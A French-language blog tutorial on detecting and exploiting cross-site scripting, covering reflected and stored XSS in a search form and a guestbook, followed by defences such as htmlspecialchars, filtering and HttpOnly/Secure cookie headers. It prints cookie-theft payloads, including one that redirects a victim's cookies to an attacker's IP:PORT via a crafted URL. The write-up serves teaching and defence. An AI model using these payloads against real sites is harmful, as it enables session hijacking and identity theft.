Détecter et exploiter une XSS

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


La faille XSS (Cross Site Scripting) est une faille web qui va permettre à un attaquant d’injecter du code HTML ou JavaScript dans un champ non protégé dans le but de faire interpréter ce code par le navigateur de la victime. Par exemple dans un formulaire de recherche.

I/ Les XSS reflected

Prenons le formulaire suivant :

Capture d’écran du 2019-09-12 18-39-35

Tout ce qu’il fait, c’est récupérer le mot recherché par l’utilisateur et l’afficher. Ainsi si je mets « pomme » dans le champs je vais recevoir ceci :

Capture d’écran du 2019-09-12 18-40-39.png

Comme je vous l’ai dit la faille XSS permet d’injecter du code HTML et JavaScript dans des champs non sécurisés. On va donc s’amuser à entrer du code HTML dans notre formulaire. On peut par exemple demander à ce que l’objet que l’on recherche soit écrit en gras via l’utilisation de la balise bold :

Capture d’écran du 2019-09-12 18-41-42.png

Bon tout ça c’est bien marrant mais actuellement on ne fait rien de bien dangereux. En revanche si on injecte du code JavaScript on va pouvoir effectuer des actions beaucoup plus violentes.

On pourra ainsi faire pop des alert en utilisant le payload suivant :

<sc ript>alert("Xssed)</sc ript>

Note : je suis obligé de casser le payload avec des espaces sinon WordPress va tout simplement le supprimer pensant que je tente d’attaquer le site. Normalement il n’y a pas d’espaces entre le « sc » et le « ript » 😉 !

capture-de28099c3a9cran-du-2019-09-12-18-47-18.png

Super mais qu’est ce qu’on peut faire concrètement en injectant du JavaScript ? Eh bien justement, on peut faire tout un tas de trucs comme afficher un faux formulaire, rediriger les utilisateurs vers un faux site, logger les frappes claviers des utilisateurs ou encore voler leurs cookies !

Prenons le code suivant :

Capture d’écran du 2019-09-12 18-53-43.png

Tout ce que j’y ai ajouté, c’est la création de deux cookies non protégés. En utilisant le bon payload on pourra afficher ces cookies dans une alert. On notera quand même que dans la vie réelle il est très peu courant de trouver une telle faille de sécurité (le mot de passe de l’utilisateur stocké dans un cookie).

Avec le payload suivant :

<sc ript>alert(document.cookie)<sc ript>

On pourra ainsi afficher les cookies de l’utilisateur :

Capture d’écran du 2019-09-12 18-55-21.png

Les plus perspicaces pourront me dire que ce n’est pas vraiment une vulnérabilité puisque je m’auto vole mes cookies. Oui c’est vrai mais vu que l’on peut injecter tout type de code JavaScript rien ne nous empêche d’exfiltrer ces cookies via une requête HTTP.

Pour cela je vais monter un serveur web via le module http.server de python3 :

Capture d’écran du 2019-09-12 19-00-34.png

Ensuite je n’aurai plus qu’à utiliser la méthode document.location du langage JavaScript :

<sc ript>document.location='http://127.0.0.1:4444/?cookies='+document.cookie</sc ript>

Afin de recevoir les cookies de ma victime dans les logs de mon serveur python :

Capture d’écran du 2019-09-12 19-54-38.png

Ce que nous venons de voir c’est le premier type de XSS : les XSS reflected. Si vous avez été attentif vous avez pu remarquer que le paramètre recherche est envoyé via la méthode GET. Il suffira donc à un attaquant de créer une URL contenant ce payload :

http://localhost/?recherche=<sc ript>document.location='http://IP:PORT/cookies='+document.cookie</sc ript>

D’envoyer cette URL à sa victime et d’attendre que la victime clique dessus pour trigger la XSS. L’attaquant recevra ainsi les cookies de la victime et pourra usurper son identité.

II/ Les XSS stored

Il existe un deuxième type de XSS : les XSS stored. Ces XSS sont dites permanentes car elles sont directement stockées dans la base de données de l’application. Imaginez par exemple un formulaire d’inscription vulnérable. Si un utilisateur injecte du JavaScript dans un des champs et que ce champ est affiché quelque part sur l’application alors tous les utilisateurs seront affectés par la charge.

Prenons le cas d’un livre d’or. C’est une page web sur laquelle des utilisateurs peuvent laisser des messages par exemple pour noter un musée, un hôtel ou autre. Tous les messages sont stockés dans une base de données.

Dans cet exemple je vais avoir besoin d’une base de données qui stocke les utilisateurs ainsi que les commentaires laissés par ces mêmes utilisateurs.

bdd

Dans la table utilisateur, nous insérons deux utilisateurs : l’administrateur du site et un utilisateur lambda.

insertion

Comme vous pouvez le voir, l’utilisateur 1 est l’administrateur du site. L’utilisateur 2 est une personne lambda qui vient poster un message.

Supposons que l’utilisateur se connecte sur le site :

co1

Il arrive sur la page du livre d’or :

resco1

Il n’y a pas encore de message ! On va donc en ajouter un (inoffensif cette fois).

mes1

Et le résultat :

resmes1

Maintenant la question qu’il faut se poser est : « est-ce que les champs sont protégés contre la faille XSS » ? On va voir ça tout de suite en injectant des balises HTML :

xssn1

Et le résultat :

xssrn1

Notre message apparaît bien en gras et en italique. Une XSS est donc bien présente.

Comme pour l’exemple avec les XSS reflected, nous allons pouvoir voler les cookies des utilisateurs et les exfiltrer en utilisant la méthode document.location. La seule différence ici, comme je l’ai dit plus tôt, c’est que la totalité des utilisateurs qui visiteront le livre d’or seront affectés par la XSS.

Du coup, afin de faciliter la réception des cookies nous allons utiliser un bout de code PHP qui va nous permettre de stocker les cookies dans un fichier txt :

code.png

EDIT mars 2018 : une version améliorée du script est disponible ici.

Et voici le payload que nous allons utiliser :

redirectionAinsi que le résultat :

blocnote

A partir de maintenant toute personne qui se connectera sur la page « Livre d’or » donnera involontairement à l’attaquant l’ensemble de ses cookies.

III/ Comment se protéger contre les XSS

Sans surprise la meilleure façon de se protéger des failles XSS est d’utiliser les fonctions d’échappement des caractères spéciaux ainsi que des filtres. Aussi, si vous voulez sécuriser votre site vous avez tout intérêt à empiler les fonctions de filtrage les unes avec les autres :

protectionxss

La première ligne du code permet de réceptionner l’input de l’utilisateur. Ensuite j’ai déclaré un tableau qui contient une liste –non exhaustive– de mots que je considère comme étant illégaux. J’aurais pu rajouter pas mal d’autres mots comme par exemple la fonction eval() en Javascript qui est un vecteur potentiel de XSS. Pareil pour les méthodes onload, onclick, on mouseover etc…

La troisième ligne contient tous les filtres que j’ai empilé les uns sur les autres. Les fonctions filter_var() et htmlspecialchars() suppriment ou remplacent tous les caractères indésirables : < > ‘ « . Quant à la fonction str_replace, elle remplace tous les mots de l’input contenues dans le tableau $illegal par youwontgetmekiddo.

Résultat, si j’envoie ça :

test.png

Je reçois ça :

fail

Il peut aussi être intéressant de filtrer les inputs via une regex. En effet si l’input est un champ de recherche alors on ne devrait pas avoir besoin d’utiliser les caractères « <« . On pourrait donc filtrer l’input avec une regex alphanumérique 🙂 !

Enfin on pourra ajouter des protections directement dans la configuration de notre serveur Apache/Nginx en configurant les headers HttpOnly et Secure. Le premier header empêchera les langages tels que JavaScript d’accéder aux cookies d’un utilisateur tandis que le second bloquera l’envoi de ces cookies si la connexion n’est pas sécurisée (ie : si SSL/TLS n’est pas configuré).

Pour cela il suffira d’ajouter cette ligne :

Header always edit Set-Cookie (.*) "$1;HttpOnly;Secure"

Dans le fichier de configuration de votre serveur web (sans oublier d’activer le module headers 😉 ) !

2 commentaires

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s